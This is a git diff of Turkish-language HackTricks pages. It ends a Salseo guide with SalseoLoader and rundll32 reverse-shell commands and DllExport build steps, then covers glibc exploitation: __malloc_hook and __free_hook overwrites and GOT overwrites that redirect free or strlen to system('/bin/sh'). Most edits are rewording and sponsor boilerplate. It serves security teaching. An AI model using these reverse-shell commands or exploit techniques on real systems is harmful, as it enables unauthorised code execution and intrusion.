evilsalsa'yı sunm ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **ICMP ters kabuk almak (kodlanmış dll zaten kurbanın içinde)** +### **ICMP ters kabuk almak (şifrelenmiş dll zaten kurbanın içinde)** **Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) @@ -75,7 +74,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` -#### Müşteriyi çalıştırın: +#### İstemciyi çalıştırın: ``` python icmpsh_m.py "" "" ``` @@ -89,11 +88,11 @@ Visual Studio kullanarak SalseoLoader projesini açın. ### Ana işlevden önce ekle: \[DllExport] -![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Bu projeye DllExport yükleyin -#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** +#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm İçin NuGet Paketlerini Yönet...** ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) @@ -101,7 +100,7 @@ Visual Studio kullanarak SalseoLoader projesini açın. ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir. +Projeler klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir. ### DllExport'u kaldırın @@ -109,13 +108,13 @@ Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** do ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) -### Visual Studio'yu kapatın ve DllExport\_Configure'ı çalıştırın +### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın -Sadece Visual Studio'yu **kapatın** +Sadece **çıkın** Visual Studio'dan Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın -**x64**'ü seçin (eğer bir x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı (DllExport için **Namespace**) seçin ve **Uygula**'yı seçin +**x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) @@ -135,11 +134,11 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı ![](<../.gitbook/assets/image (9) (1) (1).png>) -Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolunu göreceksiniz) +Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) ### Oluşturulan Dll'yi test edin -Dll'yi test etmek istediğiniz yere kopyalayın. +Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. Çalıştır: ``` @@ -171,16 +170,17 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 833a4bd0b..65dadcda9 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,24 +1,25 @@ # WWW2Exec - \_\_malloc\_hook & \_\_free\_hook +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun**. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
+{% endhint %} ## **Malloc Hook** -[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. +[Resmi GNU sitesine](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html) göre **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **libc kütüphanesinin veri bölümünde depolanan bir işlevin adresine işaret eden bir işaretçidir**. Bu nedenle, bu adres örneğin bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. -Malloc'ı çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısını yaparak çağrılabilir, bu da çok fazla bayt ayırarak `libc`'nin bunları yığında ayırmasını sağlar. +Malloc'ı çağırmak için programın onu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısını yaparak `libc`'in bunları yığında ayırmak için malloc çağırmasını sağlamak mümkündür. One Gadget hakkında daha fazla bilgi için: @@ -32,17 +33,17 @@ Kancaların **GLIBC >= 2.34** için **devre dışı bırakıldığını** unutma ## Free Hook -Bu, bir hızlı bin saldırısını kötüye kullandıktan sonra bir sıralanmamış bin saldırısını kötüye kullanan sayfadan bir örnekte kötüye kullanıldı: +Bu, bir hızlı bin saldırısını kötüye kullanarak bir sıralanmamış bin saldırısını kötüye kullanan sayfadan bir örnekte kötüye kullanılmıştır: {% content-ref url="../libc-heap/unsorted-bin-attack.md" %} [unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md) {% endcontent-ref %} -Eğer ikili sembolleri olan bir ikili varsa, aşağıdaki komutla `__free_hook` adresini bulmak mümkündür: +Eğer ikili dosyada semboller varsa, aşağıdaki komutla `__free_hook` adresini bulmak mümkündür: ```bash gef➤ p &__free_hook ``` -[Post'ta](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir rehber bulabilirsiniz. Özet olarak, free fonksiyonunda: +[Post'ta](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) semboller olmadan free hook'un adresini nasıl bulacağınıza dair adım adım bir kılavuz bulabilirsiniz. Özet olarak, free fonksiyonunda:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -70,12 +71,27 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
* Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir fonksiyon işaretçisini üzerine yazmak mümkün olacaktır. -* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır hızlı binde. -* Ardından, bu parçada edit fonksiyonu çağrılır ve bu hızlı binin **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret etmek üzere değiştirilir. -* Daha sonra, hızlı bindeki önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin parçası alınır ve **`system`** fonksiyonunun adresiyle üzerine yazılır. -* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça silinerek delete fonksiyonu çağrılır, **`__free_hook`** fonksiyonu tetiklenir ve `/bin/sh\x00` parametre olarak system fonksiyonuna işaret eder. +* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçanın boyutu `0xfc*2 = 0x1f8` olan bir parçanın işaretçisine ulaşılır. +* Ardından, bu parçada edit fonksiyonu çağrılır ve bu hızlı parçanın **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret etmek üzere değiştirilir. +* Daha sonra, hızlı bir parçanın önceki gereksiz parçasını almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`**'a hızlı bir parça parçası almak için boyutu `0x1f8` olan başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresiyle üzerine yazılır. +* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça silme fonksiyonunu çağırarak serbest bırakılır, **`__free_hook`** fonksiyonunu tetikler ve parametre olarak `/bin/sh\x00` ile system'e işaret eder. ## Referanslar * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek hacking püf noktalarını paylaşın. + +
+{% endhint %} diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 6696a0d26..e9886858f 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -1,42 +1,43 @@ # WWW2Exec - GOT/PLT +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **Temel Bilgiler** ### **GOT: Global Offset Table** -**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediği için** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra bu adresleri dinamik olarak güncellemek için bir yol sağlar**. +**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici işlevlerin adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediği için** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra bu adresleri dinamik olarak güncellemek için bir yol sağlar**. -GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminin üstesinden gelinir. +GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **işlev ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı işlevin sonraki çağrıları, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme gereksiniminden kaçınılır. ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin görevi görür. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol bu fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra, **GOT'ta** depolanır. +**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici işlevlere yapılan çağrıları işlemek için bir trambolin görevi görür. Bir ikili **bir harici işlevi ilk kez çağırdığında, kontrol, o işlevle ilişkili PLT girişine geçer**. Bu PLT girişi, işlevin adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmemişse. Adres çözüldükten sonra, GOT'ta depolanır. -**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır. +**Bu nedenle,** harici bir işlevin veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır. ## Yürütme Al ### GOT'u Kontrol Et -GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`** +**`objdump -s -j .got ./exec`** komutu ile GOT tablosunun adresini alın. ![](<../../.gitbook/assets/image (121).png>) -GEF'de **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xADDR_GOT` +GEF ile **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan** **işlevleri görebilirsiniz**: `gef➤ x/20x 0xADDR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) @@ -46,31 +47,31 @@ GEF kullanarak **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek ### GOT2Exec -Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek olan PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **yürütülecek bir fonksiyonun GOT girişini** değiştirmektir **örneğin** `system` **fonksiyonunun PLT adresiyle**. +Bir ikili dosyada GOT, **işlevlerin adreslerine veya** işlev adresini yükleyecek olan **PLT** bölümüne sahiptir. Bu keyfi yazma işleminin amacı, daha sonra **`system`** **işlevinin PLT'sinin adresiyle** değiştirilecek bir işlevin GOT girişini **geçersiz kılmaktır**. -İdeal olarak, **kontrolünü sağladığınız parametrelerle çağrılacak bir fonksiyonun GOT'unu** **değiştireceksiniz** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz). +İdeal olarak, **kontrolünü sağladığınız parametrelerle çağrılacak bir işlevin GOT'unu geçersiz kılacaksınız** (bu sayede sistem işlevine gönderilen parametreleri kontrol edebileceksiniz). -Eğer ikili dosya **`system`** **kullanmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese yönlendirmeniz gerekecektir. +Eğer ikili tarafından **`system`** **kullanılmıyorsa**, sistem işlevinin **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` işlevinin adresini sızdırmanız ve ardından GOT'u bu adrese işaretleyecek şekilde üzerine yazmanız gerekecektir. -PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz. +PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** komutu ile görebilirsiniz. ## libc GOT girişleri -**Libc GOT**'un **genellikle kısmi RELRO** ile derlendiği ve adresinin belirlenebilmesi durumunda (ASLR) bu için güzel bir hedef olduğu varsayılırsa, bu teknik için güzel bir hedef olabilir. +**Libc GOT**'un **partial RELRO** ile derlenmesi genellikle mümkünse adresini bulmak için güzel bir hedef oluşturur ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Libc'nin yaygın fonksiyonları, **diğer dahili fonksiyonları çağıracaklar** ve bu fonksiyonların GOT'u üzerine yazarak kod yürütme elde edilebilir. +Libc'nin yaygın işlevleri, **başka dahili işlevleri çağıracaklar** ve bu işlevlerin GOT'u geçersiz kılınarak kod yürütme elde edilebilir. Bu tekniğe ilişkin [**daha fazla bilgiyi burada bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). -## **Free2system** +### **Free2system** -Heap istismarı CTF'lerinde, parçaların içeriğini kontrol edebilmek ve GOT tablosunu hatta bazen üzerine yazabilmek yaygındır. Bir gadget mevcut değilse RCE elde etmenin basit bir yolu, `free` GOT adresini `system`'e yönlendirmek ve bir parçaya `"/bin/sh"` yazmak olabilir. Bu şekilde bu parça serbest bırakıldığında `system("/bin/sh")` çalıştırılacaktır. +Heap istismarı CTF'lerinde genellikle parçaların içeriğini kontrol edebilmek ve GOT tablosunu hatta bazen üzerine yazabilmek mümkündür. Eğer bir gadget mevcut değilse RCE elde etmek için basit bir hile, `free` GOT adresini `system`'e işaret etmek ve bir parçaya `"/bin/sh"` yazmaktır. Bu şekilde bu parça serbest bırakıldığında `system("/bin/sh")` çalıştırılacaktır. -## **Strlen2system** +### **Strlen2system** -Başka yaygın bir teknik, **`strlen`** GOT adresini **`system`'e** yönlendirmektir, böylece bu fonksiyon kullanıcı girdisiyle çağrıldığında `"/bin/sh"` dizesini geçmek ve bir kabuk almak mümkün olabilir. +Başka yaygın bir teknik, **`strlen`** GOT adresini **`system`'e işaret etmek**tir, böylece bu işlev kullanıcı girdisiyle çağrıldığında `"/bin/sh"` dizesini geçmek ve bir kabuk almak mümkün olacaktır. -Ayrıca, kullanıcı girdisiyle `puts` kullanılıyorsa, `puts` GOT adresini `system`'e yönlendirmek ve dize `"/bin/sh"`'yi geçmek mümkün olabilir çünkü **`puts` kullanıcı girdisiyle `strlen`'ı çağıracaktır**. +Ayrıca, eğer `puts` kullanıcı girdisiyle kullanılıyorsa, `strlen` GOT adresini `system`'e işaret etmek ve dize `"/bin/sh"`'yi geçmek mümkün olacaktır çünkü **`puts`, kullanıcı girdisiyle `strlen`'i çağıracaktır**. ## **One Gadget** @@ -80,13 +81,13 @@ Ayrıca, kullanıcı girdisiyle `puts` kullanılıyorsa, `puts` GOT adresini `sy ## **Heap'ten GOT'un Kötüye Kullanımı** -Bir heap zafiyetinden RCE elde etmenin yaygın bir yolu, bir fastbin'i kötüye kullanmak ve GOT tablosunun bir kısmını fast bin içine eklemek olabilir, böylece o parça tahsis edildiğinde genellikle `free` fonksiyonunun işaretçisini üzerine yazmak mümkün olabilir.\ -Sonra, `free`'yi `system`'e yönlendirerek ve `/bin/sh\x00` yazılmış bir parçayı serbest bırakarak bir kabuk çalıştırmak mümkün olacaktır. +Bir heap zafiyetinden RCE elde etmenin yaygın bir yolu, bir fastbin'i kötüye kullanmak ve GOT tablosunun bir kısmını hızlı bin içine eklemek, böylece o parça tahsis edildiğinde genellikle `free` işlevinin işaretçisini **üzerine yazmak mümkün olacaktır**.\ +Ardından, `free`'yi `system`'e işaret etmek ve `/bin/sh\x00` yazılmış bir parçayı serbest bırakmak, bir kabuk yürütmek mümkün olacaktır. Bir [**örneği burada bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.** ## **Koruma** -**Tam RELRO** koruması, ikili başlatıldığında tüm işlevlerin adreslerini çözerek ve ardından **GOT tablosunu salt okunur** yaparak bu tür tekniklere karşı koruma sağlar: +**Tam RELRO** koruması, ikili başlatıldığında tüm işlevlerin adreslerini çözerek ve ardından **GOT tablosunu salt okunur** hale getirerek bu tür tekniklere karşı koruma sağlamayı amaçlar: {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} [relro.md](../common-binary-protections-and-bypasses/relro.md) @@ -96,17 +97,3 @@ Bir [**örneği burada bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/g * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - -
- -Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - -
diff --git a/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 937328fae..d668fe4ea 100644 --- a/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -1,34 +1,35 @@ -# WWW2Exec - .dtors ve .fini\_array +# WWW2Exec - .dtors & .fini\_array + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
